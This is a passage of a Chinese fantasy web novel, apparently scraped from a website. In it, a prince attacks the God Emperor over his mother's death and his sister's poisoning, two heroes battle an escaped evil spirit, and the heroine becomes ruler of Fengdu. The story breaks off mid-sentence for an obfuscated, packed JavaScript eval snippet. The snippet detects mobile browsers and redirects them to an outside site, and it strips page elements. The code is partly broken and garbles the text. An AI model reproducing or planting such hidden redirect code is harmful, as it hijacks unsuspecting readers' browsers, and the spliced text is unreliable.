季疏浅脸色陡然一变,反应过来想要出手阻拦时已经来不及了。平心而论,这时宁樾的剑法已经很好了,和她几乎能打成平手。剑气迅疾,她都来不及阻拦。 整个大殿鸦雀无声,只剩那一缕青丝自空中落下。神帝不可置信地看着宁樾,浑身冰冷连脸色都惨白了几分。 他在宁樾出招的时候看得很清楚,剑招是直冲内丹而来的,只是不知怎的,那剑招微微偏了一下,擦着脸庞而过。 他呆立在原地,怎么也没想到这个他看着长大的儿子会对他出手。震惊过后他突然打了个寒颤……除非宁樾猜到了什么。 不……不可能,他怎么会猜到。 宁樾执着玄天放在他脖颈上,侧首低声道:“父皇,这其中的事你心知肚明……舅舅和母神的死,宁瑈的毒,应该跟你脱不了干系吧?”话音刚刚落下,玄天又离他脖颈近了一分。 神帝只觉得那冰冷的剑锋从脖颈上轻轻擦过,冷意袭过全身。 但他终究看着宁樾长大,这个儿子的性格他再清楚不过了。心下打定了主意,这件事他再如何都要瞒住。 “宁樾,你就是这般对你父神说话的吗?” 闻言,宁樾神色冷了冷,带着几分轻蔑回敬了他一个眼神。 季疏浅眼见着情形不对,急忙传音给宁樾:“宁樾,你冷静一点。” 听见她的话,宁樾眉目柔和一瞬,但刹那间又被凌厉取代。 玄天一横,剑光一闪,他反身抽回手中的剑,直冲他内丹而去。神帝似乎早就料到了,一个旋身避开,金色光晕自掌心流出,在身前汇成两条金色长龙。 他双掌一呼,两条长龙驶着疾风朝宁樾而去。周围宾客见神帝和神族太子二话不说就打起来了,一些议论纷纷撤出大殿,一些连连后退却又想看着千载难逢的大场面。 宁樾也不闪避,玄天凝聚起剑气,迎着两条长龙而去。剑影在空中留下一连串残影,最后汇聚起银龙般的剑波。 两龙相撞,巨大的冲击波击得在场的人退后几步,扬起了一地的花瓣。宁樾挽了个剑花,负手而立,眼中没有丝毫波澜,只是平静如常地看着神帝。而神帝被这冲击力击得踉跄一步,甚至唇角渗出一丝鲜血。 他刚擦去唇角鲜血,宁樾身形一闪,眨眼间自他身后袭去。在众目睽睽之下,玄天直插入神帝的后心。 所有人不由得倒吸一口凉气,包括季疏浅。在长剑没入时,神帝反应过来了发生了什么,但他一愣间,透着刺股寒意的剑不偏不倚地插在他的内丹旁。 只需再往前刺那么一分,今日他便会内丹尽碎,灰飞烟灭。 季疏浅呼吸有一瞬地停滞,一想到宁樾这样做的下场就不由得替他捏一把汗。她捏头看向宁樾,就见他居高临下地看着神帝,眼中有道不明的情绪。 但她看清楚了玄天刺进去的位置,不会伤及神帝内丹分毫……他终究还是没有下死手啊,季疏浅默默感慨着。 眼下局面一片混沌,她寻思着此时作为酆都公主的珈若势必要站出来调节一下局面,可现下她真是很难抉择。 以她对宁樾的了解,他不会是一个激进的人,肯定是猜到了什么。但是她若将这番说辞搬出来给这六界众生,那问题可就大了。 她带着些踌躇地看了一眼宁樾,还是内心叹了口气,算了,自己这一趟总归是来杀他的,有些事情也不是她能改变的。 “太子殿下,住手。”季疏浅表情淡漠,仿佛今天的一切发生了也仅仅只是发生了。 她凝视着宁樾,收起那于心不忍,“太子殿下,这件事酆都会出面定夺,也请太子殿下不要草率行事。” 言毕,她轻转手腕,灵力自掌心涌出,顺势将那把插进神帝胸膛的剑推了出去。 随着“叮”的一声脆响,玄天与月华殿的玉石地面相撞。季疏浅眼看着宁樾神色一点点沉下来,眸中闪过复杂神色,却又突然绯唇微微勾起牵出自嘲一笑。 季疏浅看着那透着心酸的笑容,大殿灯火煌煌,她心也惶惶。 愣神间,冷不丁的正对上宁樾的目光,两人俱是一愣。 她对上宁樾深幽的神色,似乎无风无浪,如一潭死水。 “今日诸位见到了我这不孝儿,简直无法无天,大逆不道。即日起,削去宁樾太子之位……”神帝瞅准了这一沉默的时机,一边颤抖着拭去嘴角的血,一边开口道。 “慢着。”神帝话还没说完,季疏浅就出言打断了他。 她内心叹了口气,终究还是不愿见这事就这么被搪塞过去……就像前世她家人被打上通敌叛国的罪名时,她多么希望有那么一个人能站出来替他们主持公道。 “太子殿下的确有些冲动了,但是神帝也需要自证清白吧?”她深吸一口气,盯着他微微眯起眼睛。 神帝和兰妃不约而同地望向季疏浅,再好的伪装都掩不住眼中震惊。刚刚他们俩还暗自高兴这就是酆都公主的作风,置身事外,能不麻烦绝不麻烦。 可眼下她突然来这么一出,简直出乎意料。他们本以为酆都插手这件事只是为了平息战事,可现在看来这位清冷孤傲的公主殿下是要从头查起。 在各色的神情中,兰妃神色尤为难看。她一想到若是神帝将她供出,没有任何靠山的她会成为这场闹剧的牺牲品。而酆都碍于神帝的面子,肯定不能把他怎么样。 季疏浅将她的神色收入眼底,看着他们不愿再浪费口舌,敛去眼中神色。她径直朝神帝走去,二话不说抬手用酆都的秘术抽出他的记忆。 神帝都还没反应过来,便毫无抵抗只能眼睁睁看着她动作。她在众人的注视下将这么一段记忆给抽了出来,忽视了周遭的窃窃私语。 宁樾看向她,没有波澜的神色微微漾起波澜。 季疏浅若有所觉,侧头看向他的目光,传音道:“放心吧,我会给你一个交代的。” 季疏浅看向掌心跃动的光团,冷冷抬手将它公之于众。 光团萤火虫般扑扇着翅膀浮到半空中,再似画卷般徐徐展开。 神帝怔怔看着那团荧光就要展开来,一腔怒火无处发泄,今日绝不能让整件事暴露在所有人面前。他心一横,长剑在握,自空中划出一道剑气朝他的记忆劈去。 这一动静让在场的人都是一愣,宁樾冷眼瞥他一眼,双指一拢,在半空中凝起结界护住那段记忆。 有了眼下这一出,即使记忆没有展现在众人面前,来自四海八荒的老家伙们也是察觉出了一些端倪,不约而同地向神帝投去怀疑的眼神。 季疏浅在心底轻笑一声,这不就相当于变相招了嘛。 果然,人在慌乱下的一些举措后果自己都无法预料。 她将两指微微闭拢,指尖有月白的灵力溢出,灵力缠绕着记忆的片段,画面渐渐显露出来。 就在她和众人目不转睛地盯着记忆时,脚下一阵剧烈的颤动,似是一股无形的力量撕裂大地。那铺就的玉石砖生生蔓延出弯弯扭扭的裂纹,就连着几根高耸的白玉柱都发出一声声碎裂的响声。 季疏浅下意识看向宁樾,宁樾也是神色晦暗。两人皆是紧紧蹙起眉头,有些难堪地看着这一变故。 一道道惊雷闪过,呼啸着撕裂天幕。长桥上飞舞的神鸟也被刮的凌乱不堪,惊叫着飞离。为这场天地同庆的婚礼大典布置的鲜花散了满地,一片狼藉。整个神界昏天暗地,惊雷声一阵阵响起,仿佛倾覆之日来临。 剧烈的响动自天边传来,无尽潮水淹没天幕,月华殿里神色各异的宾客都小心翼翼地摸索出随身带着的护身宝物,藏在袖中以备不时之需。 季疏浅手腕一转,将虚华剑握在手中,面色凝重地闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335233|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身出殿。宁樾看着少女转瞬消失的身影,回头瞥了一眼神帝,跟上了她的残影。 大殿外狂风肆虐,飞沙走石。雷击频频,天火坠落,熊熊烈火瞬间将几座隐匿在云层中的殿宇吞没。 季疏浅看着眼前一切,一种窒息感自内心深处涌上。她感觉自从在槐江山秘境中得知神魔两族开战后,这一切的走向就变得扑朔迷离起来。 似乎一切都开始脱离她对这段“历史”的认知。 她稳住心神,没有让自己的那一份忧心展露出来,只是不露声色地看着漫天沙尘。 季疏浅有几分失神,她不知道珈若面对现在的情况会是什么反应,但她毕竟在人界生活过一遭,见着这末日般的场面不由自主地替人界捏了一把汗,悄悄攥紧了衣袖中的纱衣。 狂风怒吼着,裹挟着这世间的一切呼啸而来,卷的诸天神魔纱衣簌簌作响。昏暗的空中忽然显出一团巨大的黑色雾气,似是泥泞在空中盘旋,还夹杂着各种刺鼻的气味,一阵是腐尸的味,一阵又是浓浓的血腥气。 在场的宾客都屏息小心看着那团雾气,就见它在空中盘旋着盘旋着越来越大,有眼尖的一眼看出那雾气中裹挟着各种生物的残肢,甚至不经意的一瞥间他看见了半个粉碎的凡人身子,血肉被黑色雾气缠绕,那一团黑乎乎的东西越来越大。 宁樾紧皱着眉头看向那团黑乎乎的东西,一些记忆从脑海里掠过,他已经有几分了然,这是恶灵,甚至看起来并不是他在槐江山遇到的那只。他蹙眉看着迅速变大的恶灵,疑虑笼罩在心头,被封印的好好的恶灵怎会在此时出事。 不知想到什么,宁樾微微侧头扫了一眼已经双手置于胸前,凝出一个结节护住自己的神帝,顺带看到了在一旁努力想挤进庇护的兰妃。 两人的年岁都经历过上一次恶灵冲破封印,知道那是怎么一般情景,却也没有作声。 他只觉得有几分好笑,果然真正重利的人眼里只容得下自己。 季疏浅看着那团雾气的同时也看见了其中混着的血肉,她明白了那股刺鼻味道中的血腥味是如何来的。一颗心沉重的像被灌了铅一样,她不可思议地在心底吐出两个字:恶灵。 怎会在此时突然解除封印呢? 她看着越来越大的恶灵,只一个念头浮现在心中,恶鬼食人间恶念而生,那恶灵……是食人而生吗? 不能任它这样下去,她定了定神,手自虚空一点握住虚华。虚华在出现的一刹那间就感受到了恶灵的气息,再也没有掩饰它的威压,锋芒一现。 在场的宾客中一位年岁较长的仙人看着虚华的反应,似是什么被证实了一般,颤着声道:“那,那是……恶灵啊!”他看着恶灵道:“千年前为祸六界的恶灵冲破封印了……” 他话音被呼啸的风声撕碎的刹那,一股无形却又强大的力量一下吸住了他,猛的将他一扯,当着众人的面撕得粉碎,血珠在空中转瞬落下,挥洒出一片血雾。 在场的所有人都还没从他那骇人的话中反应过来,毕竟见过恶灵真面目的人活到现在屈指可数。却在下一秒直接领教了恶灵的实力,一个个吓得不敢出声,连跑的勇气都没有。 季疏浅看着那位仙人被撕得粉碎可自己却没有反应的时间来救他,一时才真正感受到恶灵的实力。她挑眉看向手中虚华,将剑锋一转,闪身而上。 突然间,身旁一道劲风驶来,她只感觉浑身气力被打断,有人扯了她的衣袖一把。 她回首望去,宁樾正一只手扯住她的衣袖,眼眸幽深,道不明的情绪在眼底流转。 呼啸的风声间,她只听到了破碎的一句:“我来。” 宁樾玄色的身影转瞬消失,又在转瞬间到了恶灵的面前。玄天发出一声长吟,一个墨色的长龙在半空中显现,宁樾一转剑锋,伴随着雷鸣龙啸而起,对着恶灵连砍几剑。 恶灵显然发现了这位不速之客,电光猛起,突然分出两个头来。宁樾见状,长剑一挥,长龙也在变幻中分成两尾,冲着恶灵的两个头而去。两股力量相遇,“嘭”的一声响彻天地的巨响,将在场许多灵力不高的人掀翻在地。月华殿瑰丽的紫晶石都不堪重负,几个角应声碎裂。 神帝和兰妃看着轰隆坠地的雕着花的巨石对视一眼,趁着混乱闪身消失。 宁樾连退几步,左手拭去唇角渗出的血丝。恶灵见他受伤咆哮着汇集周身气力冲他而去,天空一片昏暗,只余下疯狂的雷点的吟啸声。 宁樾正抬眸,就见黑色雾气幻化出一柄弥漫着血雾的长剑划破长空,狂笑着冲他而来,转眼间来到他面前。他眉头一紧,飞快地盘算了下生生接下这招他的生死。 但忽然间想到母神,想到了小瑈,似乎就无所谓了。 被摘掉软肋的人,或许就没什么好留恋的了。 42. 浩劫 他握紧玄天,看着这陪他所向披靡的神剑,眼神一凛。 剑招还没对上的一瞬,一道炫目的光辉自一旁猛的震开了他。 季疏浅正用着传音玉传音给酆都大帝,简要说了下这边的情况。刚摁灭传音玉就见到宁樾不要命的迎着恶灵而上,风声呼啸,来不及多想间她传音给宁樾:“你疯了吗?” 她执剑而上,身形如疾风,一剑狠狠刺向恶灵。恶灵本来一心冲宁樾而去,没料到旁边来的这么一出,吃痛往后一缩。 宁樾看着少女翩翩立于虚空之中,一袭玄色衣裙融于无边黑夜里。虚华剑散发着月白色的柔和光芒,映得她少了几分眉间的凌厉杀气多了几分温柔。 似是神光临天,斩碎无尽的黑,带来皎月般的清辉普照世人。四周宾客惊讶一片,虽是不作声,可他们看着这两位六界的天骄,内心像是抓住了救命稻草般。 尤其是在有些人无意间发现神帝和新任神后不知在何时不见了踪影时。 季疏浅将虚华剑抛到上空中,抬手一划,无数把虚华剑流星一般从四面八方飞来,直直落在恶灵的身边。 恶灵发出阵阵低吼声,黑暗中一双通红的眼睛直勾勾看着季疏浅,丝毫不掩饰严重恨意。但它忌惮四周的虚华剑虚影,半空中庞大的身躯没敢挪动半分。 她看着被虚华剑包围的恶灵恍惚间回想起上一世的记忆,在槐江山的那天,靖和军的惨死…… 一股恨意瞬间冲上心头,她恨一手将她推入绝路的元容与,也恨那些由怨念滋生的恶鬼。 怨念在这世间本就带来不少祸患,而当怨念聚成恶鬼之时更是为祸人间,流血漂橹。 脑海中闪过重重画面,季疏浅将虚华当空一划,银剑拢起沙暴,携着劲风呼啸而去。 天在瞬间放晴,乌云笼罩的天幕似被撕开一个大口,浮光倾斜而下,将所有人笼罩在金色光芒中。 虚华剑在半空中突然化作先前几十倍大,伴随着巨大的剑吟声,在诸天仙神的注视下直直穿透了恶灵的身子。 众人心中松了口气的同时也不禁感叹这位酆都公主的实力,但季疏浅的眉头却越皱越深。 因为她发现恶灵似乎在尝试吞噬虚华剑。 一股巨大的拉力凭空扯住了虚华剑,在她想要运气将剑拔出的时候,却猛地发现那把剑被另一股力气牢牢抓住。 她眉头紧锁,掌间灵力一波一波地涌出,星海般的灵力缠绕住虚华剑,她试图将虚华剑从泥泞中拉出来。 但是恶灵的力量比她想象中要强大太多,这时方才还小心翼翼的恶灵不再遮掩自己,从那诺大的身躯中发出低沉诡异的笑声。 忽然间,一团黑雾从恶灵身上分了出来,在刹那间幻化成一把通体漆黑的虚华,对着季疏浅猛刺下。 季疏浅正使尽灵力想要将虚华剑从恶灵手中拔出来,抬头间见到另一把虚华,一时闪避不及,就见从一旁忽地击来一团神火,神火的灵力不算高强,在对上恶灵幻化出的那把虚华时没有丝毫胜算,刹那间便被吞噬。 但这给了季疏浅反应时间,她一个转身用力带出了恶灵手中的虚华剑,旋身斩向另一把虚华。 巨大的劲浪拍来,她猛的后退两步,用虚华稳住了身形。 她寻思着有些不对劲,回头一望,就见宁樾正搀扶着一个着桃夭色齐胸儒裙的少女,似是天气寒冷,外面还披着一件兔绒斗篷,但依旧挡不住少女的蛮腰羸弱。 “小瑈!”季疏浅看着一脸病容,惨白如纸的少女,有些不可思议地喊道。 她不是被墨语带回去了吗,怎么跑到这儿来了。 她正想着,一袭水蓝色衣裙的女子紧随其后,气喘吁吁地说:“殿下,刚刚属下去安排槐江山后续事宜及人员清点了,没料到公主殿下醒了还不见了踪影……我猜测她是来找太子殿下了,就匆匆过来……” 季疏浅看着她点了点头,转头望向宁瑈:“小瑈,这里很危险。” 这回见到,宁瑈似是消瘦了许多,脸上也见不到一丝血色,连带着那份澄澈的目光似是被灰尘蒙上。她看着季疏浅久久没说话,罕见的沉默后,她低低的开口道:“姐姐,我害怕……哥哥……” 她话还没有说完,便蹙起眉痛苦的捂住心口,“哇”的一声吐了口血出来。 宁樾一把扶住差点跪倒在地的少女,精致的五官因疼痛拧成了一团。宁樾一只摁在她眉心,一道接一道的灵力被强行灌进去,但似乎没有减轻宁瑈的疼痛。 季疏浅看着宁瑈,虽然她话没说完,但无须多言,她知道她想说什么。神帝置神后这一脉不管不顾,魔界这一靠山已然倒下,这六界间只有他们兄妹二人能相依为命。 她瞥了一眼宁樾,修长疏朗的眉眼久久没有舒展,脸色格外凝重,握着玄天的手止不住颤道。 她似乎从来没见过这般失态的宁樾。 “我试试。”她温声道,边说边将两指虚虚地搭在宁瑈的惨白的脖颈上,感受到了体内乱的不成样子的内息,深吸一口气。 她找准一个位置轻轻一摁,被宁樾扶在怀中的少女慢慢地合上了双眼。 宁樾和墨语都有些不解的看向她,季疏浅长舒一口气道:“这种毒我们在这里都没有办法,与其耗着,不如让小瑈没那么难受。” 就在她说话间,恶灵忽然放声狂笑起来,浑浊的声音响彻天地:“哈哈哈哈哈哈哈哈哈哈哈哈哈,这就是你们神仙啊,自相残杀尔虞我诈,被你们诠释的淋漓尽致,哈哈哈哈哈给至亲骨肉下毒也是前无古人了。” 季疏浅看着它不禁心底一阵寒意掠过,果然宁瑈的毒是神帝下的吗……再怎么也是他的亲身骨血,他怎么忍心如此。 她下意识抬眼看了一眼宁樾,发现宁樾竟然出人意料的淡定,似是与他无关般沉默地看着恶灵。 恶灵看着宁樾不闻不问地放声大笑:“哈哈哈哈无知的神啊,我知道你在疑惑什么,你在想我为什么会知道?” “这世间无穷无尽的恶念供养我到今天,我以这些为食自然知道你们的恶念都是些什么……哈哈哈哈哈……” 季疏浅看着嘚瑟的恶灵悄悄的在背后掐了个诀,趁着恶灵将视线放到诸多宾客身上时,她将剑诀一施,诸天雷电火花般炸开,一时间天空被五彩缤纷的雷电填满,地动山摇,万千华光都凝聚在虚华剑上,朝着恶灵刺去。 恶灵那双猩红的眼睛瞬间移了个方向,虎视眈眈看着季疏浅,它也不甘示弱,咆哮一声,无数戾气涌现在天边。 季疏浅微蹙着眉头,余光瞥见了宁樾将怀中的宁瑈交给墨语,将玄天往空中一划,和虚华剑比肩悬在空中。 两把神剑并立在空中,华光万千,似是天光倾泻,无数把剑影在空中吟声,只等主人一声令下,万剑齐发。 风声呼啸,狂风卷起二人的袍角刮的呼呼作响,季疏浅轻轻看了眼宁樾,嘴角挂起一抹不易察觉的笑容,她双手灵力涌出,抬眸间,一掌拍到地面,巨大的结界笼罩住他们二人和恶鬼。 宁樾看向季疏浅,微微顿了顿,自掌心间燃起熊熊火焰,雷霆遇火,道道火花迸发,转瞬燃起一片火海包围住恶灵。 漫天戾气与火焰抗衡着,想要挣脱这灼热的枷锁。 季疏浅不知想到什么,她双手交叠,转瞬间一道道冰花在火焰上绽开,晶莹的冰花蔓延而上,花瓣上长出一根根尖锐的冰刺,无孔不入地扎进恶灵的体内。 冰与火相遇,却并未相克,反而合力给恶鬼加上一个痛不欲生的枷锁。 这景象让在场的人看呆了,六界从未有人想过这两种本是相克的术法竟能共存,幽蓝色的火焰映着冰花绽开,蔓延到恶灵的全身。 恶灵被困住无法挣脱,一股股戾气从它身上冒出,却又被瞬间吞噬,季疏浅和宁樾对视一眼,不敢轻举妄动,担心恶灵又像刚刚那般装模作样。 两人正在思忖间,忽然感受到一阵庞大却又各异的灵力,两人扭头望去,只见浩浩荡荡的一大群人站在结界之外。 两人迅速览过他们的脸,神色都不由得变了变。 里面有许多熟悉的身影,为首的元祉,元容与妖族兄妹虞落,虞戍……是从槐江山回来的各族天骄们。 在看到人群中一个身影时,季疏浅脸色变了变……久违的阿姐一身水蓝色衣裙立于人群中,两人目光相视时,不约而同地笑了笑。 “我们来帮你们,你们两个人也太狂了。”虞落装的有几分不情愿嘟囔着开口,一边在虚空中抽出一根长鞭,用力一甩似银蛇吐信般缠上恶鬼。 季疏浅看了看她心中有一丝欣慰,看来在宫殿那日她告诉虞落的话她听了几分。 果然这世上没有绝对的恶人,只是迫于世事罢了。 其他人不约而同的用自己的法器给恶灵添上一层一层的梏桎,不少老辈感慨万千地看着这一盛况,这六界危难当前,最是需要各界间不分彼此。 她定了定神,就见宁樾盯着她默不作声,她看懂了那无声的言语:你来决定。 她看着眼前沉默一瞬,下定决心,清冽的声音划破喧嚣:“虚华。” 虚华剑嗡鸣着和她应和,季疏浅一手举至头顶,将手腕一转,虚华剑在半空中一个转身,剑风四起,凝成一个巨大的剑阵。 宁樾看着她的动作,配合着将玄天一转,和虚华剑并在一起。 她看向宁樾,冲他点点头,两人闪身到一处,两掌相对猛的一合,刚刚的剑阵瞬间覆盖天空,两剑似两条长龙般飞过天际,直直劈向恶灵。 一瞬间,地动山摇,沟壑万千,连天边都似在崩塌。 “嘭”的一声巨响,所有人都被一阵刺目白光闪过睁不开眼。 季疏浅只觉得被猛的震飞,全身似无数小针刺入,刺痛一阵,喉咙涌上了一股腥甜。站立不稳间,一只手扶住她的腰间,踉跄几步。 她回头看向嘴角挂着一抹血丝的宁樾,蹙着眉头没有说话。 恶灵刚刚一团黑雾的身体在半空中旋转,越来越大,整片天空都变得黑压压的。它带着几分戏谑地说:“就凭你们哈哈哈哈,愚昧至极” “我被你们这群不自量力的仙神困了上万年,终于等到这一日,你们知道这些年来我又吸收了多少人间怨气吗?你们还妄想重新封印我……” 它一边说着一边飞速掠过神界,漫天戾气摧毁了它的所到之处,一声声巨响后,琼楼玉宇转瞬只剩下残垣断壁…… 恶灵猩红的瞳孔越来越大,直勾勾看着季疏浅和宁樾。下一秒,尘暴般的戾气瞬间缠住他二人,也缠住了在场的所有人。 被戾气缠上的一瞬,灵力低微的人眼中染上血一般的红,愣愣盯着前方似是被抽走了魂魄。 宁樾和季疏浅用自身的灵力与其抗衡,腥甜味在喉咙间久久没散去,季疏浅看着它紧紧皱着眉头。 她从未有过这般痛苦的感受,哪怕是前世自爆内丹的时候。 两人脸色都不大好看,宁樾忽然抬手招过玄天剑,剑身迸发出雷电,一朵朵电火花炸开来,将身旁缠绕的戾气一点点拨散开来。 他突然侧身接过玄天,一道凌厉的剑气自剑尖劈出,斩断了条缠绕住季疏浅的戾气。旋身,挥剑,一剑分出六剑一气呵成,长龙穿过云霄撞上黑乎乎的庞然大物。 季疏浅正松下一口气,就看着宁樾似有几分笑意,透过层层黑雾看向她。她脑海中闪过一个念头,正如她上一世的最后对活着都没有了希冀。 就像刚刚宁瑈害怕一样,她也担心宁樾会那样做…… 忽然间,天色大变,漫天乌云不见了踪影,仿佛一切只是幻觉,瞬间打断了她的思绪。墨色的沉重的天幕瞬间褪去,晨曦的金色光芒洒满了神界的一点废墟。 一团团的戾气被抹去,那些猩红了眼睛的人们一睁一闭间就恢复了清醒,难以置信地看着天边。 双指放在胸口的酆都大帝金丝织就的长袍在空中翻飞,他立在半空中和恶灵相对,一时间,戾气被清理的干干净净,没有留下一丝痕迹。 “哈哈哈哈,酆都大帝,久违了。”恶灵低沉而沙哑的声音徐徐响起。 酆都大帝面色如常的看着它,思忖一会儿后侧头看向季疏浅,良久没有说话。 季疏浅有些一头雾水地对上他沉重的目光,一时间竟觉得那目光中有无数复杂的情绪。 他看着季疏浅,那张不苟言笑的脸上突然浮现一抹淡淡的笑容:“珈若,过来。” 一贯威严的嗓音传过云霄,季疏浅愣了愣,还是顺从地闪到他身边。 刚定立在他身旁,他的指尖在她眉头上一点,季疏浅只觉得一股温润又汹涌的力量瞬间在她全身游走,刚刚被细针扎过的地方一点点被拂过。 她疑惑地看向酆都大帝,就听见声音在耳畔响起,人多眼杂,他给她传音道:“珈若,这是历代酆都大帝传承的力量,现在该你了……” 季疏浅仍是不解地看着他,就见他一向庄严的神情竟竟难得沾染上一抹温情,但晃眼间又消失不见,她还以为是自己看错了。 声音再度响起时并无异样:“珈若,这六界有异变,我根据再上任酆都大帝的灵力衰微趋势推演了恶灵冲破封印的时间,绝不会出错,但这一回提前了,恐怕有人为做了手脚,你日后上任要多提防。” “等等,”季疏浅打断了他:“父皇……您何意?”

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但是,这就是酆都大帝的命运,重来一次他还是会这般教她……从出生起就注定她是未来的酆都大帝,这六界风起云涌,波澜诡谲,她若不冷血,便难平这局面…… 华光万千,旭日初升。 金色光芒披洒在每一个人身上,季疏浅若有所觉地抬头看向他,异样的情绪自他眼眸深处汹涌流出。 他看着季疏浅……无言片刻,只缓缓吐出几个字:“珈若,酆都交给你了……” 季疏浅还品着他的情绪间,就见他双手合十,双目微阖,灵力涌出,金色波浪没过每一个人,每一片残垣断壁。 转眼间,破碎的玉石砖瓦一块块恢复原状,恶灵所到之处留下的血迹斑斑也烟消云散,一切都回到了恶灵荼毒生灵前。 所有人都哑然地看着残垣断壁转瞬复原,却没料到眼前亮光一闪,摸不着头脑间就发现自己已经回到了来的地方。 恍惚间,季疏浅只听见宁樾若有若无的声音:“疏浅……”话音似乎犹疑着要不要开口,她隐约听出了一分安慰的意味。 季疏浅在一阵晕眩后,周围景象如流云版掠过,再睁眼就已回到了风平浪静的酆都大殿。 唯独有点差别的是,整个大殿比平日更加肃穆,气压一片低沉。 她下意识看了眼殿门外的天边,蔚蓝的天际还有点点星光挂于空中,似乎是无事发生,仿佛只是大梦一场。 她心下了然,原来这就是每一任酆都大帝的宿命吗…… 她回头看向威严立于殿堂两侧的文武百官,“哗”的一声,所有人齐刷刷跪倒在地,嘹亮声音在大殿上回响:“恭迎新帝,恭迎新帝,恭迎新帝……” 季疏浅怔怔地看着跪倒一片的人,似有无形的枷锁套了上来。她愣了愣才说道:“平身。” 她不知道自己该做什么,进了皎月调后第一次这般无助,她看着一众官员藏起那份迷茫道:“散了吧,接下来的事宜由墨语通知你们。” 她闪身出大殿,迎面碰上慌慌张张准备进殿的墨语。 墨语一看见她就冲过来一把抱住了她,又自觉失礼,马上松开。“殿下,酆都大帝他……” 她话没有说完,只是看着季疏浅,眼中的泪光闪动。 季疏浅沉默地看着她,一时无言,只能抬手揉了揉她的头顶。 忽然间她想起什么,看着她道:“墨语……我得闭关一段时日,这段时间酆都各项事宜交由你来处理。” 闻言,墨语抬头看着她,郑重道:“殿下放心吧……以后无论什么墨语都会陪着你。” 她看着自家殿下这般沉默,一时想到她母神归去的那日,一日更比一日沉默的殿下。 季疏浅轻轻一笑,不觉眼眶有些湿润。 忽然脑海间闪过一个身影,她看向墨语,格外严肃道:“墨语,还有一件很重要的事情。” “你派人盯着神界,宁樾宁瑈发生了什么全都汇报给我,尤其是宁樾。” 墨语似懂非懂地点了点头:“好,殿下你放心吧。” 她不明白为什么她突然提起这个,或许事关神族局势,但是殿下一定有她的用意。 季疏浅看着她片刻笑了笑,忽然间有些愧疚,自己这一趟的目的从始至终就是杀了宁樾,但是对墨语她们而言,自己就是她们最信任的殿下。 她不禁看着天边出神,曾经的珈若在此时会想些什么呢。 墨语看了看她,压抑着自己的情绪,哽咽着说:“殿下我先去处理事情了,期待殿下早日出关呀。”说完便小跑离开了。 季疏浅看着她匆匆离去的身影垂下眼眸……真是个傻丫头。 她回到大殿之上,观群星闪烁,弯弯皎月被众星簇拥着,高悬于空中。 一闪一闪的群星为丁香色天空增了一抹生机,季疏浅看着天空,开始回想这些天的经历。 酆都大帝和她说的话中别有深意,似乎恶灵这次提前突破封印是有在中间插手……想来也怪,她觉得这些天的经历就像是被按下了加速键一般。 恶灵冲破封印……她用手撑着脑袋,望着一闪一闪的星星,忽的想到和宁樾遇到的封印着恶灵的冰面。 难道说是去了槐江山的人? 她仔细想了想,当时在场的她和宁樾,墨语和元祉。 等等……她一顿,元祉? 和元容与比起来他太没有存在感,以至于季疏浅几乎快忘了他的存在,但突然这么一想,她和宁樾回去时……元祉似乎并不在场。 那很有可能也去了那里。 她仔细揣摩着,忽然身后传来熟悉的声音:“阿浅。” 她回头道:“阿姐。”也看清了林知意身旁站着的锦衣男子,苏聿。 她欣喜地起身过去,脸上的思虑瞬间被笑意取代,她看向微笑着盯着她的苏聿道:“哥你去哪儿了?我和阿姐担心死你了。” 他顿了顿,有些玩味道:“被人扔进这琴里了,不过没啥事,先前没找着你们。” 她微微侧头看向他,再转头看向林知意:“阿姐你们在哪儿遇见的啊?” 林知意叹了口气:“酆都大帝将所有人送回来的地方,或许因为我和苏聿并不是这里的人,就被传到了一片无边花海中,然后我们就遇到了。” 季疏浅点了点头,没有继续这个话题,看着他们俩嘱咐道:“阿姐,阿哥我现在得闭关……你们俩帮我看着宁樾,一旦他要入魔了,一定来叫我。” 43. 蒙冤 神界,月华殿。 “跪下!”一道怒吼响彻大殿。 一身深蓝色素面锦袍长身玉立的男子手指在衣袍初停顿一瞬,没有半分犹豫地将衣袍一掀,直直跪了下去。 高台之上的神帝似是还不解气,一指在空中凌空划出一道冒着电光的长鞭,“啪”的一声脆响,朝着他后背抽去。 长鞭打在他挺直的脊骨上,锦袍裂开一道长口,温热的鲜血染红裂口,但他一动不动看着前方。 “宁樾,那日众仙家都看着呢,你就敢和你父皇动手,真是反了!”神帝怒视着他,头上青筋爆出。 像是听到了什么好笑的话,宁樾抬头看着他,牵动嘴角一笑,吐出几个字:“清者自清。” 神帝看着他气得半晌说不出话,宁樾抬眸幽幽道:“酆都定下的规定神帝莫不是忘了,六界间不许私斗,当年你和我母神联姻不就是为的两界和平吗?”他自嘲一笑:“我真应该早点看出父皇绝不是满足于现状的人,你那神界的优越感不会让你满意于这六界太平……” 他话没说完,神帝火冒三丈地扬手抽了他一巴掌:“逆子!”a 宁樾毫不在意地扭过头直直盯着他:“如果我猜的不错,你应当是从母神那里偷到了魔界的大阵图吧,攻下魔界主城后母神想带着宁瑈走,是你杀了她吧,又给宁瑈下毒……” “一派胡言!”神帝闪身到他面前,抬手有是一巴掌,却难掩目光中的心虚。 宁樾看着他一笑,槐江山中走了一遭,他总算是将神族历代掌权者看清楚了,小时候怎就没发现那个和自己母神相敬如宾的父皇存了这样一份心思。 他冷笑着,只觉得人心难测,但现在他要做的是和他谈下条件:“父皇别以为能瞒过一切,我大可以将这件事公之于众,让他们看看口中仁慈博爱,夫妻琴瑟和鸣的神帝究竟是怎样的。” “你把解药给我,这件事作罢。”他并没有打算就这么算了,母神和舅父的事他不会和他作罢,但是眼下他要拿到宁瑈的解药。 真是好算计,用给宁瑈下毒这招来牵制他。 他盯着来回踱步的神帝,就见他忽然转头看向他:“你真以为我在乎吗,如今那酆都公主刚上任,你觉得就一小姑娘能管这些吗?” 他有些好笑道:“想要宁瑈活命?可以啊,那你担上那迕逆犯上的罪名。” 